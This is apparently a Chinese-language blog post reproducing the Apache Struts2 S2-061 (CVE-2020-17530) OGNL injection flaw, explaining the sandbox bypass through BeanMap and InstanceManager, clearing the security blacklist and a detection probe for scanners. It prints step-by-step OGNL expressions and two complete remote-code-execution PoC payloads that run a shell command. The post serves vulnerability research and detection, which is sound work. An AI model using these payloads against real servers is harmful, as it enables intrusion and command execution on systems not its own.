内含POC丨S2-061(CVE-2020-17530)

简介: 本文仅是对S2-061进行复现,并且对复现的过程进行记录

漏洞描述


本次漏洞是对S2-059漏洞修复后的绕过。S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行。但是在最新版本2.5.26版本中OGNL表达式的执行也修复了。

漏洞影响版本


struts 2.0.0 - struts 2.5.25

漏洞分析


本文仅是对S2-061进行复现,并且对复现的过程进行记录,具体的分析思路可以参考 安恒信息安全研究院-Struts2 S2-061漏洞分析(CVE-2020-17530)

Smi1e师傅tql 膜了 呜呜呜

漏洞复现


测试环境

IDEA 2019.3.5    Struts2 2.5.26/Struts2 2.3.33    Apache-Tomcat-8.5.57

相关依赖包


注意,搭建测试环境的时候,除了下载struts2的最小依赖包(struts-2.x.xx-min-lib.zip)以外,本次的环境,还需要依赖同版本包下的commons-collections-x.x.jar,可以在struts-2.x.xx-lib.zip中找到版本对应的包,后续会说明为什么一定需要这个包。

2.3.3相关依赖包

2.3.3相关依赖包

2.5.25相关依赖包

2.5.25相关依赖包

复现思路简略说明(具体思路请移步上文中的漏洞分析文章)


1.首先找到struts2标签解析的入口,也是我们本次漏洞Debug跟踪的重点。

标签解析入口


全方法名:org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag

这里是标签解析的开始方法,同时这里能够观测到整个OgnlValueStack对象,也是我们开始寻找利用点的地方。

其中我们本次要使用的利用点就stack中断点可以找到(这一步在前面的思路分析中可以找到,但是因为debug点没有描述清楚,一开始找了很久,最后在查阅其他版本的文章分析才找到这个位置):

OgnlValueStack内容查看

从上文中的位置,我们可以得到获取这个对象的获取调用链,如下图

找到 org.apache.tomcat.InstanceManager

转换为ognl表达式后如下:#application.get('org.apache.tomcat.InstanceManager')

1.org.apache.catalina.core.DefaultInstanceManager 的方法不做过多描述,借用分析文章中的一张图,可以使用这个对象中的newInstance方法实例化任意无参构造方法的类并返回。

DefaultInstanceManager的newInstance方法


1.创建org.apache.commons.collections.BeanMap对象(本次的漏洞复现的主角,同时这个包就在commons-collections-x.x.jar中)

BeanMap重点方法

API简要描述(若想看详细方法分析,请移步到上文的分析文章):


Object get("xxxx")            实际相当于调用内部对象的getXxx,比如getName()       Object put("xxxx",Object)    实际相当于调用内部对象的,setXxxx,比如setName()       void setBean(Object)        重新设置内部对象,设置完成后上面两个才能生效       Object getBean()            获取内部对象,这里可以在断点的时候查看到当前map中的实际对象

整体创建的Ognl表达式(这里存放到application中,方便多次请求使用)

%{#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}

1.获取到OgnlContext对象 (实际就是#attr#request 等map对象中的 struts.valueStack)并且设置到上一步的BeanMap中,用于绕过沙盒限制,进行内部方法调用。

valueStack方法链

Ognl表达式代码


%{#application.map.setBean(#request.get('struts.valueStack'))}

1.使用3和4同样的原理,利用 BeanMap使用com.opensymphony.xwork2.ognl.OgnlValueStack 中的 getContext 方法间接获取到 OgnlContext,并且重新设置到一个新的BeanMap中。

OgnlValueStack获取当前OgnlContext的方法

这里把两个步骤的Ognl代码同时贴出来


# 注意,自行调试的话,需要分两次执行   %{#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}   %{#application.map2.setBean(#application.get('map').get('context'))}

1.使用上面的原理,使用第二步得到的OgnlContext获取到内部的com.opensymphony.xwork2.ognl.SecurityMemberAccess对象,在设置到新的BeanMap中,用于重置黑名单

OgnlContext获取SecurityMemberAccess的方法


# 注意,自行调试的话,需要分两次执行%{#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}%{#application.map3.setBean(#application.get('map2').get('memberAccess'))}


1.确认一下之前存放的Map都正确存下来了,不然岂不是白忙活,其实每一步执行完后,都可以查看一次,确认每一步都是操作正确的,这里我就一次过了。

断点确认前面设置的数据,是否正确


1.前面的操作都确认没有问题后,就可以调用方法重置黑名单了,主要API为com.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedClassescom.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedPackageNames,如下图

设置黑名单的两个方法

在我们这两个地方打了断点后,我们请求下面或者前面的ognl可以发现,在每次收到请求的时候,都会调用一次这里的黑名单赋值,也就是说,就算是我们在本次请求重置了黑名单,在下次请求的时候,黑名单还是会重置。因此只有前面的ognl可以持久化存储,实际利用的时候,必须要在一个请求中进行命令执行。下文还会有一个存放在request中的poc。


初次请求赋值:

自动重置黑名单1自动重置黑名单2

执行下面清空黑名单代码的重新赋值

清空黑名单1清空黑名单2

清7空黑名单的ognl代码

# 注意,自行调试的话,需要分两次执行   #application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet'))   #application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet'))

1.这里就可以使用黑名单中的freemarker.template.utility.Execute类中的exec方法执行Shell了。需要最少和前面的8一起使用,才能执行成功。可以直接使用最后面的完整poc代码执行。

shell代码断点查看payload执行结果

执行shell的ognl代码


#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})

完整POC


使用application,就是上面思路的完整POC

%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

使用request,单次请求有效的完整POC (推荐)

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

注意:请使用url对以上的OGNL代码编码后,再在工具上使用。

检测思路

在新版本的struts2中,已经不能通过参数构造来解析ognl表达式了,所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候,可以考虑直接爆破所有参数,然后判断页面中是否有预计的结果文本即可。

比如:

%{ 'gcowsec-' + (2000 + 20).toString()}

预计会得到

gcowsec-2020

使用脚本判断结果中是否包含就可以了

总结

此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMapcommons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。

参考文章


安恒信息安全研究院-Struts2 S2-061漏洞分析(CVE-2020-17530)

[官方更新公告]https://cwiki.apache.org/confluence/display/WW/S2-061

[Struts2-059 远程代码执行漏洞(CVE-2019-0230)分析]https://blog.csdn.net/weixin_46236101/article/details/109080913

360-CVE-2020-17530: Apache Struts2 远程代码执行漏洞通告


相关文章
|
SQL 数据可视化 Java
DBeaver数据库可视化工具
DBeaver数据库可视化工具
759 3
|
JSON 安全 fastjson
BurpSuite插件 -- FastjsonScan(反序列化检测)
BurpSuite插件 -- FastjsonScan(反序列化检测)
469 0
|
10月前
|
存储 算法 C语言
【C语言程序设计——函数】素数判定(头歌实践教学平台习题)【合集】
本内容介绍了编写一个判断素数的子函数的任务,涵盖循环控制与跳转语句、算术运算符(%)、以及素数的概念。任务要求在主函数中输入整数并输出是否为素数的信息。相关知识包括 `for` 和 `while` 循环、`break` 和 `continue` 语句、取余运算符 `%` 的使用及素数定义、分布规律和应用场景。编程要求根据提示补充代码,测试说明提供了输入输出示例,最后给出通关代码和测试结果。 任务核心:编写判断素数的子函数并在主函数中调用,涉及循环结构和条件判断。
582 23
|
11月前
|
人工智能 小程序 API
【一步步开发AI运动小程序】十三、自定义一个运动分析器,实现计时计数02
本文介绍如何利用“云智AI运动识别小程序插件”开发AI运动小程序,详细解析了俯卧撑动作的检测规则构建与执行流程,涵盖卧撑和撑卧两个姿态的识别规则,以及如何通过继承`sports.SportBase`类实现运动分析器,适用于小程序开发者。
|
9月前
|
人工智能 自然语言处理 负载均衡
评测|零门槛,即刻拥有DeepSeek-R1满血版
DeepSeek是阿里云推出的一款强大的推理模型,尤其擅长处理数学、代码和自然语言等复杂任务。其在少量标注数据下显著提升推理能力,吸引了众多开发者关注。阿里云提供的零门槛、即刻拥有的DeepSeek-R1满血版解决方案,支持便捷的云上调用和部署,无需编码,最快5分钟、最低0元即可部署实现。该方案具备负载均衡和自动扩缩容机制,保障API调用稳定性,并提供Chatbox可视化界面简化调用流程,极大降低了使用门槛和成本,适合新手和企业用户快速上手。
1382 1
评测|零门槛,即刻拥有DeepSeek-R1满血版
|
Linux 网络安全 Python
linux centos上安装python3.11.x详细完整教程
这篇文章提供了在CentOS系统上安装Python 3.11.x版本的详细步骤,包括下载、解压、安装依赖、编译配置、解决常见错误以及版本验证。
10156 3
linux centos上安装python3.11.x详细完整教程
|
安全 网络安全 PHP
WordPress PHP Everywhere <= 2.0.3 远程代码执行(CVE-2022-24663)
WordPress PHP Everywhere <= 2.0.3 远程代码执行(CVE-2022-24663)
|
前端开发 JavaScript 应用服务中间件
linux安装nginx和前端部署vue项目(实际测试react项目也可以)
本文是一篇详细的教程,介绍了如何在Linux系统上安装和配置nginx,以及如何将打包好的前端项目(如Vue或React)上传和部署到服务器上,包括了常见的错误处理方法。
3671 0
linux安装nginx和前端部署vue项目(实际测试react项目也可以)
|
缓存 NoSQL 关系型数据库
redis数据库超级详细(一)
本文介绍了 Redis 的基础与进阶知识。Redis 是一个使用 ANSI C 编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库,属于 NoSQL 数据库。文章详细讲解了 Redis 的安装、配置、数据类型及其操作,包括字符串、哈希、列表、集合和有序集合等。此外,还提供了 Python 操作 Redis 的示例代码,以及 Redis 在实际应用中的几个典型案例,如 KV 缓存、分布式锁、延迟队列、发布订阅和定时任务等。通过这些内容,读者可以全面了解 Redis 的核心功能和应用场景。
1472 1
|
SQL 存储 分布式数据库
Kylin构建Cube过程详解
Kylin构建Cube过程详解